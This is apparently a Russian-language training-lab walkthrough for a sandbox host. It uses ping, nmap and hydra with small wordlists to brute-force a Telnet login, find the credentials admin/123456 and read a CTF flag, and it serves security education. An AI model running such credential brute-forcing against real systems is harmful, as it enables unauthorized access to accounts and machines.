Брутфорс Telnet и слабые учетные данные

LinuxBeginner
Практиковаться сейчас

Введение

Добро пожаловать в этот практический лабораторный практикум, посвященный безопасности паролей и атакам методом перебора (brute-force). Многие нарушения безопасности происходят не из-за сложных эксплойтов программного обеспечения, а из-за простых, слабых или стандартных учетных данных. Атака методом перебора — это автоматизированный метод перебора множества комбинаций имен пользователей и паролей до тех пор, пока не будет найдена правильная.

В этом практикуме вы смоделируете атаку на систему с уязвимым сервисом Telnet, защищенным слабым паролем. Вы будете использовать стандартные инструменты тестирования на проникновение для проведения разведки, подготовки к атаке и ее выполнения. Вы начнете с проверки подключения, сканирования цели с помощью nmap, а затем используете hydra, популярный инструмент для подбора паролей, для обнаружения учетных данных для входа. Наконец, вы используете обнаруженные учетные данные для доступа к системе и получения флага (flag).

По завершении вы будете знать, как:

  • Проверять сетевое подключение с помощью ping.
  • Использовать nmap для подтверждения работы конкретного сервиса.
  • Создавать списки слов (wordlists) для атаки методом перебора.
  • Использовать hydra для выполнения атаки методом перебора против сервиса Telnet.
  • Получать доступ к системе с использованием скомпрометированных учетных данных.

Приступим.

Проверка подключения к цели с помощью Ping

На этом этапе вы начнете с подтверждения того, что ваша машина для атаки может взаимодействовать с целевой системой. Команда ping — это базовый инструмент сетевой диагностики, который отправляет запрос целевому хосту и ожидает ответа, подтверждая его доступность.

Ваша среда включает целевую систему, доступную по имени хоста target. Чтобы убедиться, что она онлайн и отвечает, выполните следующую команду в вашем терминале. Флаг -c 4 указывает ping отправить ровно четыре пакета.

ping -c 4 target

Вы должны увидеть ответ, похожий на приведенный ниже. Это подтверждает, что цель онлайн, и ваше сетевое соединение стабильно. IP-адрес и время ответа могут незначительно отличаться.

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

После подтверждения подключения вы готовы приступить к сканированию цели.

Сканирование открытых портов с помощью Nmap

На этом этапе вы будете использовать nmap для сканирования цели на наличие открытых портов и запущенных сервисов. Это критически важная часть разведки, поскольку она помогает выявить потенциальные точки входа. Мы предполагаем, что запущен сервис Telnet, который обычно использует порт 23.

Чтобы подтвердить это, выполните целевое сканирование nmap. Флаг -p 23 фокусирует сканирование конкретно на порту Telnet.

Выполните следующую команду в вашем терминале:

nmap -p 23 target

Вывод покажет статус указанного порта. Вы должны увидеть результат, похожий на этот:

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 14:10 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00040s latency).

PORT   STATE SERVICE
23/tcp open  telnet

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

Вывод подтверждает, что порт 23/tcp open (открыт) и на нем запущен сервис telnet. Это тот сервис, на который мы будем нацеливаться на следующем шаге.

Подключение к цели через Telnet с помощью Brute Force

На этом этапе вы выполните атаку методом перебора (brute-force) против сервиса Telnet, используя hydra. Поскольку мы не знаем пароля, мы предоставим hydra списки потенциальных имен пользователей и паролей для автоматической проверки.

Сначала создайте два простых списка слов (wordlists). Один для имен пользователей (users.txt) и один для паролей (pass.txt). Мы включим распространенные и вероятные варианты.

Создайте список имен пользователей:

echo -e "admin\nuser\nroot" > users.txt

Создайте список паролей:

echo -e "password\nadmin\n123456" > pass.txt

Теперь используйте hydra для запуска атаки. Флаг -L указывает список пользователей, -P указывает список паролей, а telnet://target определяет протокол и хост для атаки.

hydra -L users.txt -P pass.txt telnet://target

hydra теперь попытается войти в систему, перебирая все комбинации имен пользователей и паролей из ваших списков. Через несколько мгновений он найдет правильные учетные данные и отобразит их.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-19 14:11:54
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking telnet://target:23/
[23][telnet] host: target   login: admin   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-19 14:11:57

Вывод ясно показывает, что были найдены действительные учетные данные для входа: имя пользователя admin с паролем 123456.

Исследование целевой системы и поиск флага

На этом этапе вы используете учетные данные, обнаруженные hydra, чтобы войти в целевую систему и найти флаг. Это финальная фаза атаки, где вы достигаете своей цели.

Подключитесь к цели с помощью клиента telnet:

telnet target

Система запросит логин. Введите имя пользователя admin и нажмите Enter. Затем, когда будет запрошен пароль, введите 123456 и нажмите Enter.

Trying 172.17.0.2...
Connected to target.
Escape character is '^]'.

Linux 5.15.0-56-generic (target) (pts/0)

target login: admin
Password:

После успешного входа вам будет предоставлена командная строка оболочки (shell prompt). Теперь вы находитесь внутри целевой системы.

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Sep 19 06:11:55 UTC 2025 from 172.17.0.1 on pts/0
admin@target:~$

Теперь выведите содержимое текущего каталога (/home/admin), чтобы найти флаг.

ls -la

В списке вы увидите файл flag.txt.

admin@target:~$ ls -la
total 28
drwxr-xr-x 3 admin admin 4096 Sep 19 06:11 .
drwxr-xr-x 1 root  root  4096 Sep 19 06:08 ..
-rw-r--r-- 1 admin admin  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25  2020 .bashrc
drwx------ 2 admin admin 4096 Sep 19 06:11 .cache
-rw-r--r-- 1 admin admin  807 Feb 25  2020 .profile
-rw-r--r-- 1 admin admin   33 Sep 19 06:08 flag.txt

Наконец, используйте команду cat, чтобы прочитать содержимое flag.txt.

cat flag.txt

Терминал отобразит флаг.

admin@target:~$ cat flag.txt
labex{w34k_p4ssw0rd_brut3f0rc3d}

Поздравляем! Вы успешно выполнили атаку методом перебора на сервис Telnet и получили флаг. Скопируйте значение флага, чтобы завершить лабораторную работу. Чтобы выйти из сеанса, введите logout и нажмите Enter.

Резюме

В этой лабораторной работе вы успешно выполнили атаку методом перебора (brute-force) против сервиса Telnet. Вы освоили систематический подход к компрометации системы со слабыми учетными данными.

Вы практиковались в следующем:

  • Подтверждение сетевой доступности с помощью ping.
  • Использование nmap для проверки активности конкретного сервиса на целевом порту.
  • Создание простых, но эффективных списков имен пользователей и паролей (wordlists).
  • Применение hydra для автоматизации процесса перебора комбинаций логинов и выявления действительных учетных данных.
  • Использование скомпрометированных учетных данных для входа в систему, исследования целевой системы и получения флага.

Это упражнение демонстрирует фундаментальный риск безопасности: использование слабых, легко угадываемых паролей. Оно также подчеркивает опасность использования незашифрованных протоколов, таких как Telnet, которые подвергают учетные данные перехвату в сети. Навыки, которые вы приобрели, имеют решающее значение как для этичных хакеров, тестирующих системы защиты, так и для системных администраторов, которые должны их защищать.